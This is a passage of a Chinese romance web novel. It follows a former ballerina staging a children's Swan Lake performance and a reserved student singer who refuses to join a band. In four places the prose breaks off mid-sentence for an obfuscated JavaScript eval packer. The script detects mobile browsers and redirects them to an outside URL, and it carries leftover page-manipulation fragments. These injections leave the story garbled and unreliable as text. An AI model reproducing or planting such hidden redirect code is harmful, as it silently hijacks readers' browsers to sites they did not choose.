“不如,”柳冬意指腹摩挲着杯壁,神情若有所思,“我们自己办一场演出?这样既能增加舞台经验,还能帮舞蹈室做宣传。” 柳荨眼睛一亮,“这个主意好!” 下一秒,她又犹豫起来,“但我从来没组织过演出,不知道从哪下手…就怕给搞砸了。” “没关系的,凡事都有第一次,我之前倒是参与过几次演出策划,大概了解流程。如果你需要,我可以帮忙。” 柳冬意说着,拿起茶壶,将两人杯子蓄满。 茉莉茶的清香在空气中稍稍舒缓了柳荨的焦虑,但一丝愧疚又随之涌上心头。 “堂姐,让你来代课已经很麻烦了,现在还要你为我操心这些…” 说实话,当初柳冬意提出可以来舞蹈室上课时,她心里就已十分过意不去。 以她过去的履历,哪怕已经退役了几年,也足以在济北任何高端舞蹈班授课,而现在却在自己这当一个少儿启蒙班的老师。 她知道堂姐是想报答他们家这些年对她的照顾,可这种客气,反而让早已视她为家人的柳荨心里不是滋味。 “也不全是帮忙,”柳冬意看出她的情绪,柔声道,“我也需要一份工作来转移注意力,不然一个人待着,总容易胡思乱想。而且舞蹈室的工作时间自由,氛围也好,我觉得挺适合我的。” 这话半是宽慰半是真心,却的确让柳荨心里踏实了不少。 “那就好,我还一直怕委屈你了。” “真的没有,”柳冬意将刚上桌的菜推到她面前,“先吃饭吧。” 柳荨拿起筷子,脸上终于露出笑意。 “好。” 吃完饭,两人回到舞蹈室开始讨论演出的事。 “咱们第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781438|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步可以先把演出剧目定下来。” 柳荨翻着手中的训练记录本,眉头微蹙,“《胡桃夹子》她们对这个最熟,上次比赛跳的就是这个。” 柳冬意想了想,说:“可以是可以,但就怕她们想到比赛失利的事,会有心理压力,上台更容易僵。” “那《葛蓓莉亚》呢?第一幕那段斯万妮尔达和弗朗茨的双人舞变奏,或者嘉年华群舞?” 柳冬意脑子里快速过了一遍这两首曲子的节奏,“可以,嘉年华比较热闹,确实能带动观众的情绪,也适合演出。” 见她也赞同,柳荨拿笔记下。 “一段群舞应该不够吧,要不要再加上几段简单点的变奏?” “让我想想...” 柳冬意的目光向前延伸,扫过窗外长出新叶的树冠,又落回窗沿,那只被阳光照得发亮的白色天鹅陶瓷。 忽然,一句稚气而认真的话语,响在耳边。 “喜欢芭蕾,因为想变成漂亮的天鹅。” 柳冬意忍不住弯唇,低低笑了声。 她记得,小女孩叫秦希,是个很有天赋的孩子。只是现实总有太多可惜,叫人无可奈何。 她晃晃脑袋,将那股无奈的情绪抛开, 对柳荨道:“《天鹅湖》,怎么样?” 目标定下,两人接着讨论细节。 窗外日影西斜,由炽金转为慵懒的橘黄,直至夜幕彻底吞没霞光,柳荨被一通急电叫走,讨论才暂告段落。 锁好舞蹈室的门,已是七点半。 家里离这不远,柳冬意习惯步行上下班。 此时胃里空落落的,她便顺势拐进了路边的便利店。 自动门叮咚一声打开,发出机械的欢迎光临。 她径直走向冷柜,拿了一个饭团。 “加热吗?”年轻的男声从收银台后传来。 “嗯。” 服务员接过饭团和牛奶,转身操作身后的微波炉。看到他身上的蓝白色工作服,一个身影慢慢在柳冬意眼前与他重叠。 在得知原拓就读济北大学时,她基本上就已经确定,那次自己在便利店听到的名字,没有错。 至于他为什么一言不发,似乎也很好理解。 本就是一面之缘的陌生人,比起客套的寒暄,装作不认识或许会更方便。 但柳冬意又觉得,原拓不像是这样的人。 没道理的,这是她对他的直觉。 食物加热完毕,微波炉叮的一声响起。 柳冬意接过饭团,离开了便利店。 自动门刚刚吞没她的身影, 便又叮咚一声,再度开启。 一男一女,走到收银台前。 其中一个原拓认识,是他的同学,何风。 而他身边那个染着炫彩发色打扮时髦的女生,他也听张博远提过,是那晚在酒馆时,坐在何风旁边的那个女生。 她的眼神大胆直白,毫不避讳地将人从头到脚打量了一番,最后定格在他脸上,唇角一勾,带着一种势在必得的趣味。 “你叫原拓,对吧?” 14. Chapter14 晚上九点,便利店暂时没什么客人,原拓带着他们来到旁边的就餐区。 灯光下,两人的发色如同闯入便利店的街头涂鸦。何风是单调的红,而女生是以粉紫为底色,挑染着几缕薄荷绿与电光蓝,搭配着拼接棒球外套和马丁靴,浑身散发着不拘一格的酷劲。 如此打扮,倒衬得旁边戴着厚黑框眼镜,穿搭一身黑灰色棉服的何风,像个初入潮流文化街头的实习生。 “黎斯贝,隔壁师范的。” 女生一只手搭着椅背,微微歪着的头露出耳骨上亮得晃眼的耳钉。 她开门见山道,“我们正在组乐队,你来当主唱怎么样?” 听到师范两个字,原拓不禁愣了一下。 他想起那次和张博远的猜测,实在南辕北辙。 “什么乐队?” “流行或者轻摇滚,你音色不错,中低音是你的优势,音色虽然厚实但质感太透亮,唱不了硬核。像你在零度里唱酷玩那样的,就刚好。” 如此专业的评价让原拓心中讶异,他还没来得及消化,黎斯贝灼灼的目光又追了过来。 “就差你一个主唱了,来不来?” 他垂下眸,沉默大概持续了几秒钟,才开口。 “抱歉,我暂时没有组乐队的想法。” “为什么?” 没料到他会拒绝,黎斯贝语调陡然拔高,连一直游离在外的何风,都看了过来 “就是没什么想法。”他移开视线,望向空无一人的货架通道,像是在寻找委婉的托词,又像只是不想对视,“酒馆里唱得好的人不少,你们应该能找到更合适的人。” “那些人我都听过了,都唱得一般般,我不喜欢。”黎斯贝撇撇嘴,喜恶没有丝毫遮掩,“我感觉你是真喜欢音乐的,既然如此干嘛不一起玩,总比在这儿当收银员有意思吧?” 原拓的嘴唇绷成一条紧紧的线。 把那些想说的不想说的,都拦在了嘴边。 恰在这时,便利店的自动门铃响了。 见有客人进店,他几乎是立刻站起。 “抱歉,有客人来了,我得去忙了。” 他没再看他们,转身快步走回收银台后去。 黎斯贝拧起眉毛,目光紧锁原拓,“搞毛线啊,他为什么不答应?” 何风试图缓和,“可能就是没兴趣吧。” “不不不,我刚才看他的表情明显动摇了,肯定是有什么别的原因才拒绝咱们的。” “斯贝,既然他已经拒绝了,要不咱们还是换个人问问吧。” 黎斯贝的目光戳到他脸上,“刚刚不说了么,其他人我看不上,咱们必须得说服他。” 见她一副非他不可的架势,何风嘴角抽动了两下,神情说不出得奇怪。 “咋了,你俩有矛盾啊?”她捕捉到他的异常。 “没有,”何风低声否认,视线飘向别处,“我跟他不熟。” 黎斯贝从鼻子里哼了一声,“得了吧,从小学到现在,除了我家对门那三岁小孩,你就没骗到过一个人。” 不等他再狡辩,她一顶他膝盖。 “那人走了,走,咱们过去再问问。” 见她已经起身,何风只得咽回话头,随手抓了件商品跟上去。 看到两人又过来,原拓叹了口气,声音里透着些许疲惫,“同学,我真的…” 黎斯贝却像没听见,忽然打断他,抛出另一个问题:“你在这家店兼职一天能挣多少?” 瞧着原拓满脸疑惑,她单刀直入,不兜圈子,“意思是我可以付你工资,组乐队就当是多一份兼职,怎么样?绝不让你白干。” 黎斯贝刚刚琢磨过劲来,之前她观察过原拓的衣着打扮,家庭条件应该不是很好。 而且听何风说,他似乎总在兼职,之所以拒绝加入乐队大概率是因为要忙着贴补家用。 自己把这个阻碍解决,自然就皆大欢喜了。 可她话音未落,袖子就被猛地拽了一下。 黎斯贝回头,正对上何风急使眼色的脸。 “你眼皮抽筋啦?”她脱口而出,声音没压住。 何风简直想捂她的嘴,硬着头皮解释,“原拓,她不是那个意…” “我明白,”原拓的声音骤然降温,截断了他的话,“不过我也说了没有这方面的想法,真的很抱歉。” 他将两人方才拿来的软糖用扫码枪录入,随后放到桌面,推到了过去。 “这个算我请你们的,欢迎下次光临。” 说完,他转身向身后的操作台走去,开始拿起抹布清理台面。摆满商品的收银台,此刻像一道清晰的界限,无声地将他和他们隔开在了两个世界。 不知过了多久,门铃再度传来欢迎光临。 原拓擦拭台面的手才慢慢停了下来。 他迟疑地回过头,收银台前空无一人,只有那包被留下的软糖,孤零零地躺在台面上。 他放下抹布,去接了杯热水,拿起软糖一起,拖着仿佛沉重了几倍的身体,走向用餐区。 坐下,却没有喝那杯水。只是弯腰,将下巴搁在交叠的手臂,望向窗外。 今晚的月亮缺了一块,月光被主干道上昏黄的灯光替代。 汽车游荡,来来往往,在乌黑的油柏河床。 交错的尾灯,忙碌的鲤鱼, 汇入河床,向更夜的更深处游去。 多彩的夜晚,便利店却二十四小时亮着单调而冷白的灯,照在原拓的蓝白条纹工作服上。 他能明白黎斯贝的好意,也能看出她对音乐的喜爱,谈起乐队时,那双眼睛亮得让人羡慕。 可是…他却也只能羡慕。 别的,什么都不许想。 原拓深深吸了口气,像是要把整个夜晚吸进肺腑里。所以叹出来时,断断续续,怎么也叹不尽。 只剩下茫然的无力感残留在身体里,以至于连拆开一包软糖都变得极其费劲。 他又撕扯了一下,包装袋仍抗拒着打开。 原拓最终还是放弃了,将软糖放到一旁,重新看向窗外。 马路对面,斑马线上,人影绰绰,步履匆匆。 每一张脸孔都模糊在光线与距离之外,像一个个没有具体意义的标点符号,奔向各自的归途。 唯有他的眼神,却在那些影子间徒劳地找寻着。 在找什么?他不知道。 只知道,此刻,好想好想,能说些什么。 说刚才那两个突然闯入的人,说他内心的挣扎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781439|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他看不清的迷茫,和他说不出的难受。 或者,其实什么也不用说。 只是安静坐在她身边,就足够了。 窗外的夜色逐渐稀释,最后一盏路灯熄灭,便利店的白炽灯也缓缓融进天际漫出的晨光。 它淌过街道,攀上屋檐,拂去晚冬。 最终,停驻在舞蹈室窗台, 素白的花瓶,几枝早樱前。 “堂姐,《天鹅湖》的演出服昨天到了,今天可以让孩子们穿上正式排练一次。” 柳冬意正扶着把杆起身,听到柳荨的声音,侧过头来,“去现场吗?” “剧院那边的场地没办法提前用,咱们目前只能先在舞蹈室排练。” 说完,她见堂姐蹙起眉头似有疑惑,便问:“怎么了,有什么问题吗?” “也没什么,”柳冬意拿起地上的杯子,小饮了一口,“我就是想,她们如果能提前熟悉一下场地可能会好一些,毕竟上台紧张的很大一部分原因就是对场地不熟悉。” 柳荨自己有表演经验,对她的话自然深有体会,“后面我看看,能不能想办法和那边的负责人沟通一下吧。” “嗯,那咱们先过去准备吧。” 等下午孩子们到齐,两人帮她们一一穿好演出服,进入大教室进行第一次正式彩排。 12个孩子排排站好,白色的纱裙穿在身上,个个仿佛童话里走出的小精灵,洋溢着梦幻与憧憬。 音乐响起,孩子们进入状态,虽然只是排练,但穿上正式服装带来的仪式感,还是让空气中多了一丝紧张的兴奋。 柳冬意倚在墙边,见她们流畅地变换队形,脸上的神情渐渐放松下来。那些关于《天鹅湖》的记忆碎片,也开始不受控制地在脑海中密密麻麻地拼凑着。 拼凑出那一年,痛苦,枯燥又眩晕的21岁。 彼时,她刚刚进入国家芭蕾舞团。 一个推翻了她所有自信的地方。 用的,就是《天鹅湖》里经典的32圈挥鞭转。 这个动作,很大程度上能决定主角的人选。 柳冬意记得,进入舞团后的第一次试镜,自己拿到的是B角。 她不甘心,不甘心自己的能力,只是差强人意。 32圈挥鞭转,她从月初的晨曦,转到月末的日落。有时转到最后已经分不清方向,只能扶着把杆干呕,生理性泪水止不住地往下掉。 那时柳冬意只记得旋转,只觉得还年轻,所以无所顾虑地透支着自己。 就为团长宣布她是A角时,那一刻的骄傲。 现在想想,值得吗?答案那么模棱两可。 可唯一能确定的,重来一次,她仍会那样做。 音乐进入群舞段落的交叉换位环节,这是一个练习过无数次的常规动作。 柳冬意却观察到,后排的一个孩子脚下节奏慢了半拍。 大约是心里太急,为了追上同伴的队形,小女孩脚下不自觉地抢了一步。可就是这一步,足尖却勾到了前面孩子的的纱裙。 突如其来的牵扯瞬间打破了平衡。 “啊!” 一声惊叫撕裂音乐,像一记重锤砸在每个人的耳边。 霎时间,所有目光都聚焦了过去。 15. Chapter15 “万幸,没有伤到骨头。” “CT都照过了吗,确认了没有问题吗?” “都照过了,一切都正常。” 直到这句话,那口堵在柳冬意胸腔里的担心,才终于真正散去。 她将手机换到另一只耳边,“朵朵的家长呢?他们有没有说什么?” “没有,都还挺好说话的,就是…” 柳荨话说到一半,让柳冬意预感不妙。 “怎么了?” “他们决定要退出这次演出,”柳荨的声音在听筒里闷得厉害,“我刚刚想了一下,舞蹈室里好像已经没有合适的孩子可以补上了。” 当初报名时,适龄学生本就不多,只勉强够得上最低表演人数。现在陡然出了意外,实在打得她们措手不及。 天鹅群舞向来追求对称,无论是队形,走位还是动作,全都是按双数设计的。加之这一个月的排练,孩子们早已习惯了彼此的配合和位置。 现在只剩下两个月就要正式登台,学生们还要上学,如果要重新编舞排练,时间着实有些苛刻了。 电话两端同时陷入无言,柳荨似是在来回踱步,脚步一声一声,如同倒计时,在这场沉默里向她们逼近。 “你先回来,”柳冬意最终开口,声音稳了下来,“回来我们再想办法。” 听筒里的脚步声停下,而后是一声长长的叹息。 “行,你先带学生们继续排练吧,我马上回。” 挂断电话,柳冬意推开教室门,原本正在各自练习的学生们立刻停下动作,纷纷围拢过来。 “老师,朵朵怎么样了?”几个小女孩抢着问。 “医生说朵朵没事,现在已经被她爸爸妈妈接回家去休息了。” “那她还能来跟我们一起表演吗?” 她摇摇头,表情露出几分遗憾。 几个孩子平常就和朵朵玩得最好,现在得知不能一起表演,你看我我看你,嘴角都耷拉着。 “没关系的,”柳冬意蹲下来,柔声宽慰着她们,“你们跳得那么棒,以后肯定还会有很多机会一起表演。” “而且朵朵到时候会来看演出的,我们好好练习,到时候送给她一场最完美的表演,好不好?” 小孩子的情绪来得快去得也快,听见这话,脸上的阴霾瞬间一扫而空,重新投入了练习。 听着教室里再度响起来的热闹,柳冬意的心稍稍安定了些,但缺一个人的现实依旧棘手。 其实这件事情最快也是最省事的办法,就是撤掉现有队伍里的一个学生,队形仍能保持双数,舞蹈也不用大改。 但这个念头刚冒头就被她掐断。 毕竟,这对哪个孩子都不公平。 现在看来,眼下似乎只有改队形这一个办法了。 柳冬意记得单数队形的天鹅舞并非没有先例,便立刻摸出手机想搜索参考。 然而,就在她要解锁屏幕时,衣角忽然被人轻轻拽了一下。 她挪开手机,是自己班里的学生,姚思彤。 “怎么了彤彤,找老师有事吗?” “老师,朵朵不能来跳舞的话,那我们是不是少了个人啊?” 柳冬意点点头,“彤彤是有什么想法吗?” 彤彤抿着唇,声音带着一点怯意,又藏着一丝希冀,“那…可不可以让希希来和我们一起跳舞啊?” 暮色渐浓,济北大学校园里,路灯依次亮起。 光线有些刺眼,书上的字迹泛起重影。 原拓合上书本,看了眼时间,七点二十五分。 他抬手按了按发胀的眉心,随即起身从床头取下外套,抬头对上铺说:“作业我放桌上了,你要抄的话直接拿就可以了。” 张博远一个翻身探出头来,头发乱糟糟地翘着,“这么快,不上午才布置下来的吗,” “下午没事,就提前做完了。” 他竖起大拇指,“牛,那小弟就不客气了。” 原拓扯扯嘴角,没多说话,来到门口背上吉他包。手刚搭上门把,张博远的声音在身后追了过来。 “哎,刚看天气预报说晚上有雨,记得带伞!” 原拓脚步一顿,目光扫过门边的鞋架,顺手拿起一把黑伞,“嗯,走了。” 走出宿舍楼,一阵晚风迎面拂来,风里带来弥雨前特有的湿润气息,沉沉地挂在人身上。 他下意识抬头,厚重的云层盖住了月亮,盖住了星光,夜空里,只有一片沉闷的黯蓝。 习惯性将耳机塞进耳朵,隔绝了世界的杂音,他背着吉他,朝东门外的公交站走去。 八点差十分,原拓推开门,里头已经坐满了人。七点场的驻唱正唱到最后一首,慵懒的嗓音混着酒香,唱得醉人。 他径直走向吧台,唐绘珊坐在里面,指尖跟随节奏敲打台面,望着舞台出神。 直到人站到面前,她才反应过来。 “来啦,”她朝舞台侧前方努努嘴,“喏,你那两位铁粉又准时报到了,一个多月了吧,还真是风雨无阻。” 原拓顺着她的视线望去,店里的灯光不算明亮,无奈那两头标志性的发色实在显眼。 此时何风正好转头,看见他,立刻碰了碰身边的黎斯贝,两人的目光一齐投来。 原拓立马别开脸,喉结微动,暗暗叹了口气。 “我先去准备了。” “哎,等等,”唐绘珊叫住他,“说真的,那俩同学找你好几次了,真不考虑一下?” 又谈起这个话题,他半是无奈半是逃避地撇开了眼神,“最近学校事情太多,没什么空。” “能有多忙啊,我大学也组过队,其实没那么麻烦的,主要是一群人一起玩音乐的那种感觉,真的超级痛快!” 她说着,眼神飘向远处, 大约是陷进了某段美好的回忆里。 原拓没接话,吧台温暖的光照在他脸上,却照不进他低垂的眉眼。 “那…乐队后来怎么散了?”他忽然问。 “嗯?”唐绘珊愣了一下,随即笑笑,“能为什么,大学毕业了呗。大家各奔东西,找工作的找工作,考研的考研,自然而然就散了。” 她看向原拓,满是过来人的语重心长,“所以才说,有些事现在不做,以后可能就没机会了,得抓紧点时间。” 可他沉默了一会儿,最后只是轻轻点头。 “谢谢珊姐,快八点了,我去准备了。” 看出他的坚决,唐绘珊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781440|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不好再劝。 她轻叹了声,挥挥手,“行,快去吧。” 男生的背影慢慢走远,没有穿过热闹的人群,而是贴着墙边,像一道影子,绕进了后台。 一直在留意这边的黎斯贝自然也看到了这一幕,她收回目光,看向唐绘珊。 对方则耸耸肩,摊开手,表示自己的无可奈何。 见状,黎斯贝的身体瞬间蔫了下去,抄起面前的酒杯,闷闷地灌了一大口。 八点整,原拓拎着吉他走上舞台。 他坐上高脚凳,手指习惯性地悬在琴弦上,想试几个音。可指尖却突然变得无力,不受控制地一排倒了下去,扫出一串杂乱的噪音。 在这间因他登场而安静下来的酒馆里,这串杂音显得格外刺耳。 原拓感受到几道打量的目光从台下传来,他闭上眼,将酒吧的嘈杂,那些目光,还有心头翻涌的杂乱情绪,随着一次深深的吸气强行压下去。 再睁开时,眼神已恢复专注。 调整了一下麦克风的位置,指尖重新落下。 这一次,旋律回到了正轨。 黎斯贝眯着眼,盯着台上,“这家伙今天什么情况?苦大仇深的,刚才是不是还弹错了?” 何风没她那么专业,但也觉察出氛围的沉闷。 “感觉是有点不对劲。” 黎斯贝撇撇嘴,抄起一根薯条,“你说,他老拒绝我们,是不是发生什么事了?” 说完,她刚要咬下薯条,像是想到什么,眼睛突然瞪大,“该不会是失恋了吧?!” “可…我好像没在他身边见过什么女生。” “你天天泡图书馆,能看见才有鬼了,”黎斯贝嗤笑一声,“不过话说回来,何风,你都大三了怎么还单着。好歹我把你改造得这么帅,可别辜负了我的一番苦心啊。” 何风嘴角抽搐了一下,想要说些什么,最终只闷头大口喝着柠檬水。 杯子放下,他低低问:“那你呢?” “我?”黎斯贝抱起双臂,恣意十足,“姐姐我志不在此,谈恋爱多耽误事儿。再说了,就我们学校那群冬瓜,我也看不上。” “好吧,”他不是很想再继续这个话题,换了个问,“咱们今天还要等原拓下班吗?” “等!必须等!”她狠咬一口手里的薯条,“咱们今天就学刘备三顾茅庐,我不信他小子比诸葛亮还难请。” 她的执着,让何风无可奈何。 算上便利店那晚,这好像已经是第四次了。 不过黎斯贝的性格他也了解,也没再劝,安静陪她等着。重新端起杯子,柠檬水刚到嘴边,一阵带着潮意的晚风从身后涌来。 台上,歌声像是被这阵不请自来的风呛住,停滞了半秒。 而后,那歌词里的字字句句如同被风吹散,飘洒在人群上空。 “我不晓得,也不舍得…” “为将来的难测,就放弃这一刻…” 这散开的字句,朝着风来的方向, 昏暗的门廊灯下,一个身影站在那。 风拂动了她的发丝和衣角,那些飘零的歌词碎片,在她的耳边盘旋,汇聚。 “只有你,懂得我,在摩天大楼渴求自由…” 16. Chapter16 “冬意,你怎么来了,也不给我打个电话。” 唐绘珊的声音跃出吧台。 “临时有点事要到这边处理,想着你这个点肯定正忙,就没打扰你。” 她倒了杯橘子汁递过去,“再怎么忙,接你电话的时间还能没有么,不过什么事这么突然,还得专门跑这一趟?” 柳冬意抿了一口冰凉的果汁,简单说了下演出的事情,“现在只能问问看原拓的妹妹愿不愿意来帮忙了,不然我们一时半会也很难找到合适的孩子。” “他妹妹还会跳芭蕾?” 她摇头,“不会,但我之前给她做过些基础训练,那孩子很有天赋,学起来应该很快。” “那万一真的跟不上怎么办?” 这个问题柳冬意不是没想过,所以为了保险起见,她私底下也在抓紧时间研究单数队形的编舞方案,但心底还是愿意相信自己的直觉。 “试试看吧,说不定会有惊喜呢。” “行,你说可以就一定可以,”唐绘珊将手中擦好的玻璃杯倒转,“到时候记得给我留张票,我还没看过小孩子跳芭蕾呢。” “当然,给你留个好位置。” “那你坐会儿,我先去忙了。” 唐绘珊转身离去,柳冬意侧过身,目光投向舞台。 台上的歌声已经换了一曲,男生的声音却愈发沉闷,像是要被笼罩在头顶那盏玻璃灯洒下的光影一点点吞没。 缓缓的,最后一个音符落下, 余韵却仍在空气中久久徘徊,不肯消散。 原拓抬头,看向吧台的方向。 那里灯光昏沉,他还是看清了她。 看她今天穿了一身浅灰色。 看她头发随意地挽起,几缕碎发散落在肩头。 看她安静地看着自己,把屋帘掀开, 撕开一角沉郁的夜色。 是本能还是别的,原拓看向她身边, 上次那个男人没有出现。 他唾弃自己,卑鄙地感到一丝庆幸。 于是,又不受控地望向她。 距离十分钟休息,还有一会,原拓第一次感觉到时间在音乐里过得好慢。 他想快点唱,快点唱。 在她离开之前,到那边去,听她说些什么。 哪怕只是听她说一句无关紧要的话也好。 一个月太长了,长到让接下来的三首歌,成了世界上最漫长的三首歌。 他的目光一次次扫过吧台确认她的存在,又因怕被发现而用加快的拨弦来拙劣地遮挡。 烂熟于心的歌词已无需思考,全部思绪都化为了对她存在的时间读秒。 当时钟指针终于指向八点,最后一个尾音甚至还未完全落下 原拓放下吉他,将它靠在凳边,径直朝着吧台的方向走去。 眼角余光里,靠过道的那张桌子旁,两个亮色人影站了起来,嘴唇微动像是想说什么。 但他无暇顾及,脚步不曾迟疑半秒,一阵风似的从他们身边经过,将所有模糊的声响和身影都抛在脑后。 来到吧台前,原拓脚步停得有些急,还差点撞到一旁的高脚椅。 他几乎是屏着呼吸,直到确认她不是幻觉,那个流连在心头一个月的名字,终于化作一句脱口而出的:“您怎么过来了?” “我来想找你谈一下希希的事情,”柳冬意有些不好意思地笑了笑,“会耽误你休息吗?” 原拓急忙摇头,听到她是为希希的事而来,心头莫名冒出一丝失落,不过很快就被他强行压回胸口。 “不会,希希她怎么了?” 柳冬意没有立马接话,而是将一杯水推到他面前,“先润润嗓子吧。” 原拓接过抿了一口,熟悉的蜂蜜水滑过喉咙,也依旧是熟悉的温柔。 等他喝得差不多了,柳冬意这才说明来意。 “我们舞蹈室现在想办一场芭蕾舞演出,想问问希希有没有意愿来报名?” 原拓握着杯子的手一紧。 去她的舞蹈室,意味着未来一段时间,他将有无数正当理由见到她。这个念头如细小的电流,瞬间窜过心底,带来一丝悸动 但下一秒,理智的冷水泼下。 他明明下定过决心,要远离她的生活。 “可是希希从来没学过芭蕾。” 他讲出一个事实,试图说服自己。 “这个没关系,我可以教她,”柳冬意连忙说,“而且希希很聪明,肯定很快就能学会。” 听罢,原拓没有说话,手指渐渐握紧了杯身,好似要从那温热的蜂蜜水里,找寻他需要的洒脱和勇气。 这些沉默和游移不定,被柳冬意捕捉到。 “是不是有什么不方便?没关系的,你千万别为难,这不是什么大事情。” 哪里有什么不方便呢? 希希一定会答应,原拓再清楚不过。 真正不方便的,只是他自己。 是他那份竭力抗拒的别扭,是他无法坦荡的私心,害怕一旦答应,就会陷入更深的无法掌控的期待里。 “我回去问问她吧,”原拓紧绷的唇松开,为自己的退缩和渴望找到了一个看似无可辩解的理由,“如果她愿意的话,我再告诉您。” 见他有意愿,柳冬意拿出手机,“那我把号码给你,如果她愿意,明天就可以来面试。” 原拓心头一动,忙摸向口袋,却摸了个空。 “手机好像放在后台了,我去…” “没关系,”她调出手机界面,“你报号码给我,我发条短信给你就好。” “139…” 柳冬意认真输入,片刻后,她抬头一笑,“发好了。” 口袋里似乎有什么东西震动了一下,原拓没去确认,只是感觉自己的耳根好像烫得越来越厉害了。 “嗯,我回去就问希希。” 说完正事,柳冬意觉得是时候该告辞了。可不知怎的,她望着眼前的男生,耳畔似乎又响起来时听到的歌声。 歌声里的情绪,与他平日里沉稳平静的样子相去甚远。 她抿着唇,半是犹豫半是试探地开口: “你…今天是不是发生什么事了?” 话音刚落,柳冬意便看到原拓猛地抬起眼,眸中闪过一丝无措的愕然。 她后知后觉意识到自己这话有些冒昧,便赶忙向他解释,“抱歉,是我太唐突了,只是我刚刚听你唱歌感觉…” “没有。” 原拓喉结滚动了一下,又低声重复了一遍。 “没有唐突。” 听他没有否认,柳冬意眼神微动,在桌上攥起的手缓缓松开,“所以…是发生什么事了吗?” 下意识的,原拓想像过去无数次那样,用没事或还好,轻描淡写地挡回去。 可能是她的目光太过温柔,也可能是今晚太过疲惫,让那句硬撑着的没事在嘴边转了一圈,最终化作一个几乎听不见的单音。 “嗯。” 声音很轻,却重重地落在柳冬意耳里。 因为什么呢?她试着想。 是学习,还是家庭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781441|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>亦或是,某些情感方面的问题。 以前朋友总说,她是一个很会安慰人的人。 可现在看着眼前的男生,柳冬意竟一时间不知道该从何问起,又如何继续这个话题。 “那…” 话未及出口,吧台内侧的门帘动了。 唐绘珊拿着两个洗好的玻璃杯走了出来。 “事情谈得怎么样了?” “嗯,谈好了。” 柳冬意顺势接话,将方才的话暂且按下。 “那就好,”她将杯子放回吧台,看向窗外,“看样子雨马上就要下来了,趁还没下大,你还是早点回去比较安全。” 柳冬意也沿着她的视线瞥向窗外。 夜色更沉,云层低压,确实是一副山雨欲来的样子,她却下意识说:“其实也不着急…” 可话没说完,一旁的原拓却开口。 “您早点回去吧。” 大约是意识到自己语气里的不对劲,他停顿住,努力让声调恢复平日的冷静,再开口时反而显得更加紧绷。 “安全最重要。” 柳冬意一怔,转头看向他,他却别开视线,只盯着手中那杯已经凉透的蜂蜜水。 一瞬间,她明白了什么。 他需要空间,而自己也该走了。 “好吧,”她站起身,没有再坚持留下,“那我就先回去了。” 柳冬意离开后,原拓仍站在原地,目光还停留在她消失的门口,像是被抽走了一部分意识,只留下一个空荡的躯壳。 唐绘珊回头就看见他这副失魂落魄的模样。 “你怎么了?” 他像是被惊醒,睫毛颤了下, 迅速敛去所有外泄的情绪。 “没事。” 可那失落的语气,显然毫无说服力。 唐绘珊看在眼里,没有追问,“看你状态不太好,要不今天提前歇会儿?” “不用。”他下意识拒绝,转身想逃回舞台后的安全区,可迈出两步,脚步又慢慢停下了。 他回头,似是在犹豫接下来的决定。 好久,绷紧的嘴唇才终于泄露一丝缝隙,放过了自己,“珊姐,待会我提前半小时走,工资扣一半吧。” 唐绘珊本想说照常,不过想了想,还是没有拒绝,“行,你自己看着办吧。” 半个小时后,原拓收拾好吉他和外套下班。 唐绘珊不知去了哪,他也没有精力再去找她,只想快点回到宿舍,好好睡一觉。 推开玻璃门,潮湿的空气立刻扑了上来,黏在皮肤上,连吸进肺里的气都带着湿意,沉在胸口,压得原拓每一步都要拖着腿才能前行。 路灯的光斜斜落地,把他的影子拉成一条虚虚的线,在光与暗的接力中,忽而抻长抛远,忽而又揉作模糊的一团。 失了真,也失了形。 一如心里那团乱麻,绕来绕去,无从安定。 拐角就在眼前,走过去后马路大概会同往日一样寂寥,路灯因线路老化忽明忽灭,还有那几棵老树,在早春时节,仍旧还没有抽芽。 一切都会和往常那样。 厚厚的云层,还遮挡着月亮。 他垂下眼,继续迈步向前走去。 转角处,光影稀疏。 影子先一步走过墙根,像沉默的引路人, 朝拐角那头,安静地,而又匆匆地走着。 走到那盏最亮的路灯下, 长椅上,轻触她浅灰色衣角。 